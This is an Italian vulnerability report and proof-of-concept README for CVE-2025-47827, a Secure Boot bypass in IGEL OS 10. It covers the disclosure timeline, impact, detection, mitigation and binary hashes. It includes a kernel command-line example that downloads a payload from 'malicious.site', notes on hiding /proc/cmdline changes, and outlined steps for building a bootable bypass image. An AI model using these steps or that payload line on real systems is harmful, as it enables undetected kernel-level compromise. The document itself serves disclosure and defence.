PoC e rapporto di vulnerabilità per CVE-2025-47827.
Prova di concetto e rapporto di vulnerabilità per CVE-2025-47827.
In IGEL OS precedenti alla v11, Secure Boot può essere aggirato perché il modulo igel-flash-driver verifica impropriamente una firma crittografica. In definitiva, un filesystem root appositamente creato può essere montato da un'immagine SquashFS non verificata.
La verifica impropria della firma crittografica nel modulo del kernel Linux igel-flash-driver in IGEL OS 10 consente a un attore malintenzionato di aggirare Secure Boot, avviando lo shim firmato da Microsoft 3rd Party UEFI CA, che carica quindi GRUB e il kernel vulnerabile, entrambi firmati da IGEL Secure Boot Signing CA. Una volta caricato il kernel vulnerabile e l'initramfs incorporato, un filesystem root malintenzionato può essere montato dall'immagine SquashFS non verificata sul disco.
Poiché la syscall kexec_load è disponibile nel kernel vulnerabile, il kernel attualmente avviato può essere sostituito con uno completamente non fidato, consentendo praticamente l'avvio di qualsiasi sistema operativo, dopo una completa catena di fiducia.
Nelle versioni successive di IGEL OS, il modulo verifica correttamente una firma dell'immagine SquashFS del filesystem root. Tuttavia, sia il kernel vulnerabile che le versioni corrette sono firmati con lo stesso certificato, consentendo allo stesso shim di avviare sia le versioni vulnerabili che quelle corrette.
La stringa del vettore iniziale per CVE-2025-47827 era AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, con un punteggio CVSS di 8.4 (alto).
Il 14 ottobre 2025, questo è stato cambiato in AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, abbassando il punteggio a 4.6 (medio).
Inoltre, la debolezza originale è stata definita come CWE-347: Improper Verification of Cryptographic Signature, ma MSRC l'ha assegnata come CWE-324: Use of a Key Past its Expiration Date.
Sia IGEL che Microsoft sono stati contattati e informati di questa vulnerabilità, rispettivamente il 6 dicembre 2024 e il 31 marzo 2025, prima che i dettagli venissero resi pubblici il 29 maggio 2025.
Poiché IGEL OS 10 non è supportato e la vulnerabilità non esiste direttamente all'interno dello shim, nessuna delle due parti ha suggerito una risoluzione. Microsoft ha risposto con quanto segue:
Dopo un'indagine, abbiamo stabilito che questa segnalazione non soddisfa la definizione di vulnerabilità di sicurezza per la correzione poiché IGEL OS v10 non è più supportato e il problema è nel modulo del kernel e non nello shim. Solo lo shim è firmato dal certificato MSFT.
IGEL ha pubblicato un avviso di sicurezza per CVE-2025-47827 il 2 giugno 2025.
Il 13 giugno 2025, ho segnalato nuovamente questo a Microsoft e ho ricevuto la seguente risposta:
Sebbene la tua segnalazione contenesse alcune buone informazioni, non soddisfa il requisito di Microsoft per una vulnerabilità di sicurezza da correggere. Il problema segnalato è nel modulo del kernel e non nello shim, e solo lo shim è firmato dal certificato MSFT. kexec già permette di aggirare secure boot per progettazione (Rif: kexec Command Line in Linux - Linux Expert Better 2025).
Questo soddisferebbe i criteri di correzione di MSRC se il problema fosse in un driver/componente di avvio. Questa è una vulnerabilità nel driver del kernel della distribuzione Linux. Questo avviene dopo UEFI "ExitBootServices", il che significa che non è un bypass di Secure Boot. L'utente ha solo esecuzione di codice a livello di sistema operativo, non di avvio.
Dalla pubblicazione di vari articoli di notizie riguardanti questa vulnerabilità, i manutentori dello shim hanno collaborato con Microsoft e IGEL per discutere una risoluzione.
Dopo che è stata raggiunta una risoluzione, ho creato un altro caso su MSRC il 20 ottobre 2025, chiedendo il motivo del ritardo nella revoca di questi shim, modifiche alla stringa del vettore CVSS e CWE e perché la loro guida agli aggiornamenti affermava che la vulnerabilità non era stata divulgata pubblicamente. Ho ricevuto la seguente risposta:
La vulnerabilità IGEL che è stata corretta non è un bypass di Secure Boot. È un bypass dell'integrità del Kernel specifico di Linux e non influisce su Windows. Gli shim IGEL sono vecchi e non supportano la nuova revoca basata su SBAT. Pertanto, Microsoft ha emesso le revoche per proteggere da potenziali sfruttamenti di altre vulnerabilità che sono state protette da SBAT.
Jeffrey Sutherland, Principal Lead Program Manager, ha risposto sulla PR spiegando che, a causa della mancanza di SBAT, gli shim hanno dovuto essere revocati tramite DBX, e IGEL ha richiesto tempo aggiuntivo per evitare conseguenze indesiderate. Si sono anche scusati per non aver mantenuto la comunicazione tra il ricercatore e le parti coinvolte, come richiesto dalla Divulgazione Coordinata delle Vulnerabilità.
Un exploit di bypass di Secure Boot potrebbe portare allo sviluppo di un bootkit/rootkit a livello di kernel non rilevato, a sua volta portando a molteplici implicazioni, come:
Senza revoca o intervento manuale, Secure Boot è stato reso inutile su tutte le macchine che si fidano del Microsoft 3rd Party UEFI CA, che è l'impostazione predefinita per la maggior parte dei dispositivi al momento della scrittura.
Se utilizzata per kexec, questa vulnerabilità può essere sfruttata per modificare silenziosamente e maliziosamente un sistema legittimo, senza influire su Secure Boot.
Il kernel potrebbe essere sostituito completamente, consentendo a codice malevolo di eseguire a livello di kernel, concedendo accesso illimitato a tutte le risorse di sistema, inclusi memoria, CPU e dispositivi collegati.
Ciò consentirebbe di estrarre chiavi di crittografia dalla memoria, eseguire processi malevoli senza restrizioni e per il malware di sfuggire al rilevamento.
La riga di comando del kernel legittimo può essere modificata, per disabilitare i moduli di sicurezza o cambiare il parametro init, consentendo l'esecuzione di un payload malevolo dopo che il vero root è stato montato. Ad esempio (modprobe, DHCP, chmod, omessi per brevità):```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
Questo potrebbe sostituire un eseguibile legittimo, dirottare PID 1 o avviarsi automaticamente all'avvio, ottenendo facilmente accesso root.
`/proc/cmdline` può essere [dirottato](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline) con un bind mount per nascondere eventuali modifiche.
Consulta la [documentazione di Linux](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) per maggiori informazioni.
### Persistenza
L'impatto sarebbe persistente finché i binari EFI richiesti e il kernel sono presenti e configurati per l'avvio dal firmware di sistema.
Gli aggiornamenti del sistema operativo possono causare modifiche all'ordine di avvio o al Database delle Firme Proibite di Secure Boot (DBX), che potrebbero impedire l'esecuzione dei binari. Tuttavia, se anche il sistema operativo è compromesso, questa azione correttiva potrebbe essere annullata.
Inoltre, poiché l'ordine di avvio EFI è configurabile dal sistema operativo tramite la modifica delle variabili EFI, un malware privilegiato potrebbe ottenere persistenza o elevare ulteriormente i privilegi installando i file di avvio necessari e configurando di conseguenza l'ordine di avvio.
## Rilevamento
Supponendo che sia stato creato un rootkit a livello di kernel perfetto per sfruttare questa vulnerabilità, i dati sul sistema in esecuzione non possono essere considerati attendibili.
I metodi di rilevamento includono:
- Verifica della presenza dei binari coinvolti
- Verifica delle firme/integrità dei file noti, ad esempio [rkhunter](https://rkhunter.sourceforge.net/)
- Analisi comportamentale, specialmente in ambienti di rete
Come minimo, i binari EFI firmati che devono essere avviati dal firmware di sistema e il kernel IGEL devono essere presenti sul sistema compromesso, ma, a causa del [livello](https://en.wikipedia.org/wiki/Protection_ring) a cui verrebbe eseguito il codice malevolo, il [rootkit](https://en.wikipedia.org/wiki/Rootkit) potrebbe nascondersi in fase di esecuzione.
Altri indicatori di compromissione dipendono dalle azioni del malware che ha sfruttato questa vulnerabilità. Ad esempio, il kernel avviato potrebbe essere stato sostituito, file sul filesystem di root modificati o programmi inaspettati in esecuzione.
## Mitigazione
> [!IMPORTANT]
> Microsoft ha rilasciato un [DBX firmato](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed) che revoca le firme degli shim interessati il 20 ottobre 2025, dopo un accordo con IGEL.
>
> Per i sistemi Windows, consultare la [guida all'aggiornamento MSRC](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827).
>
> Per aggiornare i sistemi basati su Linux con [fwupd](https://fwupd.org/), aggiornare
> [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware)
> alla versione `20250902` o successiva.
>
> Per maggiori informazioni, vedere [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272).
Per evitare che la catena di avvio venga compromessa, il certificato utilizzato per firmare l'immagine GRUB/kernel vulnerabile dovrebbe essere revocato/non più considerato attendibile, oppure gli hash SHA-256 dei kernel (o shim) interessati dovrebbero essere aggiunti alla lista di rifiuto DBX o MOKX.
Consulta la [documentazione della NSA Cybersecurity Directorate](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md) per maggiori informazioni.
In alternativa, per impedire l'esecuzione dello shim iniziale, l'autorità di certificazione Microsoft 3rd Party UEFI CA può essere resa non attendibile, ma ciò potrebbe causare interruzioni indesiderate ad altre applicazioni legittime.
Alcuni dispositivi hanno questa opzione nelle impostazioni del firmware.
La [pagina ArchWiki per sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) avverte quanto segue:
> [!WARNING]
> Alcuni firmware sono firmati e verificati con le chiavi di Microsoft quando Secure Boot è abilitato. Non convalidare i dispositivi potrebbe renderli inutilizzabili (brick).
Questo è il [valore predefinito per i PC Secured-core](https://learn.microsoft.com/it-it/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot):
> Lo stato predefinito di Secure Boot ha un'ampia cerchia di fiducia, che può portare i clienti a fidarsi di componenti di avvio che potrebbero non essere necessari. Poiché il certificato Microsoft 3rd Party UEFI CA firma i bootloader per tutte le distribuzioni Linux, fidarsi della firma Microsoft 3rd Party UEFI CA nel database UEFI aumenta la superficie di attacco dei sistemi. Un cliente che intendeva fidarsi e avviare solo una singola distribuzione Linux si fiderà di tutte le distribuzioni, più della configurazione desiderata. Una vulnerabilità in uno qualsiasi dei bootloader espone il sistema e mette il cliente a rischio di exploit per un bootloader che non aveva mai intenzione di utilizzare, come visto in recenti vulnerabilità, ad esempio [con il bootloader GRUB](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) o [rootkit a livello di firmware](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit) che interessano componenti di avvio.
> [I PC Secured-core](https://learn.microsoft.com/it-it/windows-hardware/design/device-experiences/OEM-highly-secure-11) richiedono che Secure Boot sia abilitato e configurato per non considerare attendibile la firma Microsoft 3rd Party UEFI CA, per impostazione predefinita, per offrire ai clienti la configurazione più sicura possibile dei loro PC.
### Misurazione dell'avvio (Measured Boot)
Se il sistema viene avviato con lo shim IGEL, le [misurazioni PCR del TPM](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers) cambieranno.
Windows utilizza [Measured Boot](https://learn.microsoft.com/it-it/windows/compatibility/measured-boot) per impostazione predefinita con BitLocker, rendendo le chiavi di crittografia inaccessibili se il sistema non viene avviato con i binari previsti.
Sui sistemi basati su Linux, [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) può essere utilizzato per associare una chiave LUKS al TPM e vincolarla a vari PCR (per impostazione predefinita PCR 7).
Measured Boot protegge il sistema operativo legittimo dalla modifica, rilasciando la chiave di crittografia solo in un ambiente attendibile. Tuttavia, non impedisce l'avvio di un sistema operativo non autorizzato; questa è responsabilità di Secure Boot.
Pertanto, un utente potrebbe essere comunque a rischio, anche se il suo sistema operativo utilizza Measured Boot. Ad esempio:
- Avviare lo shim IGEL e un sistema operativo malevolo, superando Secure Boot
- Emulare l'aspetto e il comportamento del sistema operativo genuino
- L'utente inserisce credenziali che vengono inviate all'attaccante
- Opzionalmente, riavviare nel sistema operativo legittimo
Mentre il sistema operativo legittimo non può essere modificato con Measured Boot, poiché la chiave di crittografia è vincolata alle misurazioni PCR del TPM[^1], il sistema può comunque avviare software malevolo.
[^1]: Le chiavi di ripristino BitLocker non sono vincolate al TPM.
### Immagine Kernel Unificata
Un'[immagine kernel unificata](https://uapi-group.org/specifications/specs/unified_kernel_image/) può essere utilizzata per raggruppare tutte le risorse di avvio (ad esempio kernel, ramdisk iniziale, riga di comando del kernel, ecc.) in un unico file PE UEFI.
Queste immagini possono essere firmate come qualsiasi altro eseguibile EFI.
Per migliorare la sicurezza di avvio e ridurre al minimo la superficie di attacco della catena di avvio, genera un'immagine kernel unificata e firmala con chiavi generate dall'utente, non considerando attendibili le chiavi del fornitore/OEM.
## Binari
I binari coinvolti sono riportati di seguito:
### Descrizione
In ordine di esecuzione:
- `boot*.efi` -> shim firmato da Microsoft
- `igel*.efi` -> GRUB firmato da IGEL
- `bzImage` -> Immagine Linux (initramfs incorporato), firmata da IGEL
Il certificato per il soggetto `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE` si trova in [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der).
L'impronta SHA-256 di questo certificato è
`5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`.
Le firme di questi binari possono essere verificate utilizzando `sbverify`
(da [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)):```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (da udc10.06.220.iso):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
Gli hash di [`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461)
e [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)
sono stati revocati tramite DBX.
## Proof of Concept
Viene fornito uno script shell proof-of-concept per scaricare l'ISO di installazione di IGEL OS,
estrarre e creare un'immagine disco avviabile, con un filesystem root SquashFS modificato.
In alternativa, invece di un'immagine disco, l'ISO potrebbe essere riimpacchettata con una partizione di sistema EFI
aggiunta all'immagine. Si potrebbe anche utilizzare un MBR ibrido per
mantenere il supporto per sistemi BIOS legacy, ma ciò esula dallo scopo di questo
progetto. L'ISO di installazione contiene un bootloader ISOLINUX per sistemi
legacy, che esegue il chainloading di un `core.img` di GRUB.
### Overlays
Vengono forniti esempi di directory overlay, per dimostrare l'avvio di un ambiente
live Arch Linux tramite HTTP.
Lo script `init` caricherà il kernel specificato nei parametri della riga di comando del kernel
con `kexec`, quindi riavvierà. Il kernel sostitutivo non deve
essere firmato, se si passa `--kexec-syscall` invece di `--kexec-file-syscall`.
Il file di configurazione di GRUB è memorizzato nella partizione di sistema EFI, che può
essere facilmente modificata. Altri file possono essere inseriti nell'ESP, come kernel,
initramfs o immagini SquashFS, per essere avviati dal primo filesystem root
con `kexec`. Ciò consente di effettuare il chainloading di un altro sistema localmente, che può
essere aggiornato come un sistema normale, senza ricostruire l'ISO ogni volta.
In alternativa, i file necessari possono essere scaricati tramite HTTP con `curl`, poi
avviati, per un'immagine disco più piccola.
Questo è un esempio innocente di come la vulnerabilità potrebbe essere sfruttata, ma
lo script `init` o il kernel `kexec` potrebbero essere modificati per dimostrare un comportamento
malevolo.
### Dependencies
Lo script richiede i seguenti pacchetti:
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, e tutto il resto)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
Questi dovrebbero essere disponibili per qualsiasi distribuzione dai suoi repository ufficiali.
`igelfs-cli` può essere installato in un ambiente virtuale da
[PyPI](https://pypi.org/project/igelfs/):```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### Example
Costruisci un'immagine disco da 500 MB, copiando i contenuti di `esp` e `root` rispettivamente nella partizione di sistema EFI e in SquashFS:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
L'immagine risultante avvierà una macchina con Secure Boot abilitato, che si fida del Microsoft 3rd Party UEFI CA.
L'immagine disco grezza può essere scritta su un dispositivo fisico, o convertita per l'uso con una macchina virtuale.
Vedere la pagina releases per un esempio di immagine disco avviabile e copie dei binari pertinenti.
L'esempio contiene un'immagine SquashFS IGEL OS modificata per scaricare e avviare Arch Linux via HTTPS con kexec. Il mirror si trova nella configurazione GRUB.
mkdiskimage scarica l'archivio IGEL OS 10 UDC, contenente l'ISO di installazioneosirrox, per ottenere i binari EFI, ddimage.bin e bzImageigelfs-cli, il sistema SquashFS viene estratto da ddimage.bin, che viene poi estratto con unsquashfsmksquashfs e un nuovo ddimage.bin viene creato usando igelfs-cli, con il SquashFS come partizione #1 (sys)ddimage.bin viene aggiunto a un'immagine ISO con xorrisoL'ISO contiene solo il file ddimage.bin e il file boot_id come suggerimento, mentre l'ESP contiene binari EFI e file per GRUB.
Il filesystem di root potrebbe essere creato con buildroot per ridurre notevolmente la dimensione dei file.
I moduli del kernel per il bzImage verranno aggiunti all'immagine SquashFS per aggiungere supporto per filesystem, networking, ecc., insieme a qualsiasi altro requisito.
Un esempio di defconfig per costruire un root SquashFS, con kexec e senza script init, si trova in buildroot. Utilizzare una directory overlay per aggiungere altri file, ad esempio uno script init, sia con BR2_ROOTFS_OVERLAY che con mkdiskimage.
Il binario userspace kexec non è disponibile di default nella partizione di sistema IGEL OS 10, quindi se necessario, può essere aggiunto all'immagine SquashFS modificata.
Il binario kexec può essere raggruppato con le sue dipendenze di libreria utilizzando staticx, per evitare librerie condivise mancanti nell'immagine SquashFS di IGEL OS:```sh
staticx "$(which kexec)" "./root/sbin/kexec"
Nota: a causa della ricerca di sottostringhe `parse_cmdline` dell'initramfs IGEL, specificare `init` _ovunque_ nella riga di comando del kernel verrà interpretato dal primo initramfs, quindi `init` non può essere passato al kernel `kexec` tramite i primi parametri del kernel.
### SSL
Se è richiesto SSL, ad esempio per HTTPS, aggiungi `/etc/ssl/certs/ca-certificates.crt` all'immagine SquashFS.
### Requisiti
L'ISO deve essere la prima partizione, rendendo la partizione di sistema EFI (ESP) insolitamente la partizione #2. Ciò è dovuto a come lo script `init` dell'initramfs cerca i dispositivi.
Allo stesso modo, quando installato, IGEL OS crea due ESP alle partizioni #2 e #3.
GRUB richiede che `/boot/igel-ud-converter` sia presente sullo stesso filesystem di `/boot/grub/igel.conf`:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
Lo script init dell'initramfs embedded di bzImage richiede che sul filesystem ISO sia presente un file corrispondente al boot_id passato sulla riga di comando del kernel, preceduto da un punto (.). Il boot_id deve iniziare con IGEL_UDC_TO, ad esempio .IGEL_UDC_TO_210319143827.
Questi file possono essere vuoti, ma devono essere presenti.
Il filesystem SquashFS deve anche avere una directory /igfimage per lo script init dell'initramfs, altrimenti il cambio della root fallirà.
Un utente potrebbe sfruttare intenzionalmente questa vulnerabilità per avviare un sistema operativo basato su Linux sul proprio computer, senza configurare Secure Boot.
Inoltre, dato che un ambiente Linux completo verrà effettivamente utilizzato come bootloader, lo script init può essere personalizzato per gestire il caricamento del kernel successivo in modo più complesso di quanto consentirebbe un bootloader convenzionale, ad esempio tramite rete, crittografia, ecc. D'altro canto, ciò potrebbe essere sfruttato per nascondere indicatori di compromissione, recuperando risorse in fase di esecuzione anziché archiviarle su disco.
Vari progetti utilizzano già kexec per questo scopo, come kexecboot e petitboot.
Dettagli della vulnerabilità:
Mitigazione:
Recensioni degli aggiornamenti:
Articoli di notizie:
Software e progetti correlati:
CVE-2025-47827 è concesso in licenza sotto la Licenza MIT a chiunque per utilizzarlo, modificarlo e condividerlo liberamente.
Questo progetto è distribuito nella speranza che possa essere utile, ma senza alcuna garanzia.
[!IMPORTANT] Si prega di utilizzare queste informazioni in modo responsabile. La pubblicazione di questa vulnerabilità ha lo scopo di informare gli utenti e suggerire possibili mitigazioni per evitare danni.
Sii una brava persona.
Se hai trovato utile questo progetto, considera di fare una donazione. Qualsiasi importo è molto apprezzato! Grazie 😃
fdisk
dd)